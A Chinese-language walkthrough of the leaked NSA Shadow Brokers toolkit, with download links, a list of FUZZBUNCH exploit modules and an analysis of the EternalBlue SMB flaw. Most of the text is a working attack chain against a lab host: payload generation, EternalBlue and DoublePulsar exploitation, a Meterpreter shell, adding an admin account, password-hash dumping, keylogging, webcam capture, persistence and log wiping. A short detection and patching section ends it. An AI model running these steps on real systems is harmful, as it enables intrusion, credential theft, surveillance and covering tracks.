下载地址:https://yadi.sk/d/NJqzpqo_3GxZA4
解压密码:Reeeeeeeeeeeeeee
github下载地址:https://github.com/misterch0c/shadowbroker
释放的工具总共包含三个文件夹,
- Swift:包含了NSA对SWIFT银行系统发动攻击的相关证据,其中有EastNets的一些PPT文档、相关的证据、一些登录凭证和内部架构,EastNets是中东最大的SWIFT服务机构之一。
- OddJob:包含一个基于Windows的植入软件,并包括所指定的配置文件和payload。适用于Windows Server 2003 Enterprise(甚至Windows XP Professional)
- Windows:包含对Windows操作系统的许多黑客工具,但主要针对的是较旧版本的Windows(Windows XP中)和Server 2003。
主要工具
FUZZBUNCH:一款类似Metasploit的Exploit框架
模块 | 漏洞 | 影响系统 | 默认端口 |
---|---|---|---|
Easypi | IBM Lotus Notes漏洞 | Windows NT, 2000 ,XP, 2003 | 3264 |
Easybee | MDaemon WorldClient电子邮件服务器漏洞 | WorldClient 9.5, 9.6, 10.0, 10.1 | |
Eternalblue | SMBv2漏洞(MS17-010) | Windows XP(32),Windows Server 2008 R2(32/64),Windows 7(32/64) | 139/445 |
Doublepulsar | SMB和NBT漏洞 | Windows XP(32), Vista, 7, Windows Server 2003, 2008, 2008 R2 | 139/445 |
Eternalromance | SMBv1漏洞(MS17-010)和 NBT漏洞 | Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2 | 139/445 |
Eternalchampion | SMB和NBT漏洞 | Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2, 2012, Windows 8 SP0 | 139/445 |
Eternalsynergy | SMB和NBT漏洞 | Windows 8, Windows Server 2012 | 139/445 |
Explodingcan | IIS6.0远程利用漏洞 | Windows Server 2003 | 80 |
Emphasismine | IMAP漏洞 | IBM Lotus Domino 6.5.4, 6.5.5, 7.0, 8.0, 8.5 | 143 |
Ewokfrenzy | IMAP漏洞 | IBM Lotus Domino 6.5.4, 7.0.2 | 143 |
Englishmansdentist | SMTP漏洞 | 25 | |
Erraticgopher | RPC漏洞 | Windows XP SP3, Windows 2003 | 445 |
Eskimoroll | kerberos漏洞 | Windows 2000, 2003, 2003 R2, 2008, 2008 R2 | 88 |
Eclipsedwing | MS08-067漏洞 | Windows 2000, XP, 2003 | 139/445 |
Educatedscholar | MS09-050漏洞 | Windows vista, 2008 | 445 |
Emeraldthread | SMB和NBT漏洞 | Windows XP, 2003 | 139/445 |
Zippybeer | SMTP漏洞 | 445 | |
Esteemaudit | RDP漏洞 | Windows XP, Windows Server 2003 | 3389 |
ETERNALBLUE攻击原理分析
ETERNALBLUE是一个RCE漏洞利用,通过SMB(Server Message Block)和NBT(NetBIOS over TCP/IP)影响Windows XP,Windows 2008 R2和Windows 7系统。
漏洞发生处:C:\Windows\System32\drivers\srv.sys
注:srv.sys是Windows系统驱动文件,是微软默认的信任文件。
漏洞函数:unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)
触发点:_memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6));
原因:逻辑不正确导致的越界写入
官方补丁修复前:
int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1)
{//SNIP...while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 > v4)){*(WORD*)v6 = v3 - (_DWORD)v6; //<----------修改处return v1;}//SNIP...
}
int __thiscall ExecuteTransaction(int this)
{//SNIP...if (*(_DWORD *)(v3 + 0x50) >= 1) //<------修改处{_SrvSetSmbError2(0, 464, "onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c");SrvLogInvalidSmbDirect(v1, v10);goto LABEL_109;}//SNIP...
}
修复后:
int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1)
{//SNIP...while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 > v4)){*(DWORD*)v6 = v3 - (_DWORD)v6; //<--------修改处return v1;}//SNIP...
}
int __thiscall ExecuteTransaction(int this)
{//SNIP...if (*(_DWORD *)(v3 + 0x50) >= 2u) //<------修改处{_SrvSetSmbError2(0, 464, "onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c");SrvLogInvalidSmbDirect(v1, v10);goto LABEL_109;}//SNIP...
}
具体见参考资料5
漏洞复现
- 环境搭建
主机类型 | OS | IP |
---|---|---|
攻击机1 | win2003 | 10.10.10.130 |
攻击机2 | kali linux 2.0 | 10.10.10.128 |
靶机 | winXP x86 | 10.10.10.129 |
2. 工具准备
- 解压NSA工具包中的windows文件夹到攻击机1的C:\目录下(只要不是中文目录皆可);
- 在攻击机1安装:
- python-2.6.6.msi
- pywin32-221.win32-py2.6.exe
- 在攻击机2先生成用于回连的dll
msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f dll > x86bind.dll
3.扫描开启445端口的活跃主机并探测操作系统
nmap -Pn -p445 -O 10.10.10.0/24
nmap -Pn -p445 -O -iL ip.txt
4.攻击机1开始利用ETERNALBLUE攻击
python fb.py
use Eternalblue
...
5.利用Doublepulsar注入dll
use Doublepulsar
6.kali攻击机利用msf回连控制主机5555端口
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set LPORT 5555
set RHOST XXX.XXX.XXX.XXX
exploit
后渗透攻击
开3389端口
(1)wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call
setallowtsconnections 1
(2)wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call
setuserauthenticationrequired 1
(3)reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
针对win XP及win2003只需要第3条命令
针对win 7需要第1,2条命令
针对win 2012需要3条命令添加账户进管理组
net user sherlly sherlly /add
net localgroup Administrators sherlly /add
端口转发
如果3389端口只限内网访问,可以使用portfwd将端口转发到本地连接
portfwd add -l 4444 -p 3389 -r XXX.XXX.XXX.XXX
rdesktop -u root -p toor 127.0.0.1:4444
meterpreter自带的多功能shell
- hashdump:获取用户密码哈希值,可以用ophcrack等彩虹表工具进行破解明文
- screenshot:获取屏幕截图
- webcam_snap:调取对方摄像头拍照
- keyscan_start,keyscan_dump:记录键盘动作
- ps:查看当前运行进程
- sysinfo:查看系统信息
- getsystem:提权
维持控制
- migrate:将meterpreter会话移至另一个进程内存空间(migrate pid)配合ps使用
- irb:与ruby终端交互,调用meterpreter封装函数,可以添加Railgun组件直接交互本地的Windows API,阻止目标主机进入睡眠状态
irb
client.core.use("railgun)
client.railgun.kernel32.SetThreadExecutionState("ES_CONTINUOUS|ES_SYSTEM_REQUIRED") - background:隐藏在后台方便msf终端进行其他操作,session查看对话id
- session -i X:使用已经成功获取的对话
植入后门
- 测试是否虚拟机:
run post/windows/gather/checkvm
- 以系统服务形式安装:在目标主机的31337端口开启监听,使用metsvc.exe安装metsvc-server.exe服务,运行时加载metsrv.dll
run metsvc
- getgui开启远程桌面:
run getgui -u sherlly -p sherlly
run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up_XXX.rc
//清除痕迹,关闭服务,删除添加账号
- 测试是否虚拟机:
清除入侵痕迹
- clearev:清除日志
- timestomp:修改文件的创建时间,最后写入和最后访问时间
timestomp xiugai.doc -f old.doc
检测&防御
- 国外有人写了个检测Doublepulsar入侵的脚本,运行环境需要python2.6, 地址https://github.com/countercept/doublepulsar-detection-script, 使用方法
python detect_doublepulsar_smb.py --ip XXX.XXX.XXX.XXX
python detect_doublepulsar_rdp.py --file ips.list --verbose --threads 1
另外,nmap也基于该脚本出了对应扫描脚本smb-double-pulsar-backdoor.nse,使用方法nmap -p 445 <target> --script=smb-double-pulsar-backdoor
- 安装相应补丁https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/
- 如非必要,关闭25, 88, 139, 445, 3389端口
- 使用防火墙、或者安全组配置安全策略,屏蔽对包括445、3389在内的系统端口访问。(见参考资料7)
参考资料
- http://thehackernews.com/2017/04/swift-banking-hacking-tool.html
- http://www.freebuf.com/sectool/132029.html
- https://www.cyberscoop.com/nsa-hacking-tools-shadow-brokers-dark-web-microsoft-smb/
- http://www.file.net/process/srv.sys.html
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- https://nmap.org/nsedoc/scripts/smb-double-pulsar-backdoor.html
- https://jingyan.baidu.com/article/c843ea0b7d5c7177931e4ab1.html